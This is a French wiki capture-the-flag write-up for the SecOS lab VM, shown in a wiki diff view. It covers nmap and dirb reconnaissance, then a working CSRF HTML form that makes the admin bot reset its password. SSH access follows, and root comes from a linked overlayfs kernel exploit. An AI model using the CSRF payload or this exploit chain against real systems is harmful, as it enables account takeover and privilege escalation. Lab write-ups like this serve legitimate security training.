Outils pour utilisateurs

Outils du site


vm:secos

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

vm:secos [2017/08/07 13:17] (Version actuelle)
arkinar créée
Ligne 1: Ligne 1:
 +**SecOs - Write Up**
  
 +__Reconnaissance__
 +
 +<code BASH>
 +nmap -sS -A 192.168.43.38
 +
 +ports ouverts :
 +22 ssh
 +8081/tcp open  http    Node.js (Express middleware)
 +
 +</​code>​
 +
 +
 +__Exploitation Web__
 +
 +Pour le port 8081 :
 +
 +{{ :​vm:​web.png?​nolink |}}
 +
 +Avec l'​outil [[https://​sourceforge.net/​projects/​dirb/​files/​ | dirb]] on va chercher les fichiers existants :
 +<code BASH>
 +./dirb http://​192.168.43.38:​8081/​ wordlists/​common.txt ​                
 +
 ++ http://​192.168.43.38:​8081/​about (CODE:​200|SIZE:​2330) ​                        
 ++ http://​192.168.43.38:​8081/​About (CODE:​200|SIZE:​2330) ​                        
 ++ http://​192.168.43.38:​8081/​css (CODE:​303|SIZE:​20) ​                            
 ++ http://​192.168.43.38:​8081/​hint (CODE:​200|SIZE:​2287) ​                         ​
 ++ http://​192.168.43.38:​8081/​js (CODE:​303|SIZE:​19) ​                             ​
 ++ http://​192.168.43.38:​8081/​login (CODE:​200|SIZE:​2337) ​                        
 ++ http://​192.168.43.38:​8081/​Login (CODE:​200|SIZE:​2337) ​                        
 ++ http://​192.168.43.38:​8081/​logout (CODE:​301|SIZE:​0) ​                          
 ++ http://​192.168.43.38:​8081/​messages (CODE:​301|SIZE:​0) ​                        
 ++ http://​192.168.43.38:​8081/​sign-up (CODE:​200|SIZE:​2280) ​                      
 ++ http://​192.168.43.38:​8081/​users (CODE:​301|SIZE:​0) ​
 +
 +</​code>​
 +Dirb nous ressort une page intéressante : hint
 +
 +{{ :​vm:​secos_hint.png?​nolink |}}
 +
 +On regarde le code source :
 +
 +{{ :​vm:​secos_hint2.png?​nolink |}}
 +
 +Vu les informations récoltées il y a de forte chance que l'ont est besoin de faire une CSRF dans la suite du challenge.
 +
 +Pour accéder à la plateforme il faut se créer un compte. ​
 +
 +Dans la liste des comptes utilisateurs on remarque que seul le compte **spiderman** est administrateur.
 +{{ :​vm:​secos_users.png?​nolink |}}
 +
 +Une page de réinitialisation de mot de passe et une page de contact sont présentes sur le site.
 +
 +{{ :​vm:​secos_message.png?​nolink |}}
 +
 +Après avoir envoyé une bonne quantité de messages , j'ai compris :
 +  - Faire venir le bot sur notre machine
 +  - Lui faire exécuter du JS pour réinitialiser son mot de passe
 +
 +En local j'ai créé un fichier csrf.html :
 +
 +<file HTML csrf.html>​
 +<​!DOCTYPE html>
 +<​html>​
 +<​body>​
 +<iframe style="​display:​none"​ name="​csrf-frame"></​iframe>​
 +<form action="​http://​127.0.0.1:​8081/​change-password"​ method="​POST"​ id="​csrf-form">​
 +<input class="​input-block-level"​ placeholder="​spiderman"​ name="​username"​ disabled=""​ type="​text"​ value="​spiderman">​
 +<input class="​input-block-level"​ placeholder="​Password"​ name="​password"​ type="​password"​ value="​test">​
 +</​form>​
 +<​script>​document.getElementById("​csrf-form"​).submit()</​script>​
 +</​body>​
 +</​html>​
 +</​file>​
 +
 +Puis j'ai ouvert un socket python en écoute sur le port 80 :
 +
 +<code bash>
 +python -m SimpleHTTPServer 80
 +</​code>​
 +
 +Il faut ensuite envoyer un jolie petit message à spiderman depuis votre compte : 
 +
 +{{ :​vm:​secos_message2.png?​nolink |}}
 +
 +Quelques minutes plus tard on obtient cela :
 +
 +<​code>​
 +192.168.43.38 - - [07/​Aug/​2017 14:22:29] "GET /csrf.html HTTP/​1.1"​ 200 -
 +</​code>​
 +
 +Le bot est bien passé et a exécuter notre CSRF. 
 +
 +On peut dès à présent se connecter avec les identifiants : **spiderman/​test**
 +
 +Dans les messages de spiderman on remarque que quelqu'​un a déjà piraté le compte :
 +
 +{{ :​vm:​secos_pirate.png?​nolink |}}
 +
 +On utilise le mot de passe **CrazyPassword!** pour se connecter en ssh.
 +
 +
 +__Exploitation système & Élévation de privilège__
 +
 +Récupération de la version du noyau :
 +<code BASH>
 +uname -a 
 +Linux SecOS-1 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686 i686 i686 GNU/Linux
 +</​code>​
 +
 +On va chercher la version de la distribution :
 +
 +<code BASH>
 +lsb_release -a
 +No LSB modules are available.
 +Distributor ID: Ubuntu
 +Description:​ Ubuntu 14.04 LTS
 +Release:​ 14.04
 +Codename:​ trusty
 +</​code>​
 +
 +L'​élévation se fait à l'aide de l'​exploit : [[https://​www.exploit-db.com/​exploits/​37292/​ | overlayfs]]
 +
 +{{ :​vm:​secos_root.png?​nolink |}}
 +
 +<code bash>
 +cat /​root/​flag.txt
 +</​code>​
 +{{ :​vm:​flag.png?​nolink |}}
 +
 +Merci à l'​auteur de la machine.
vm/secos.txt · Dernière modification: 2017/08/07 13:17 par arkinar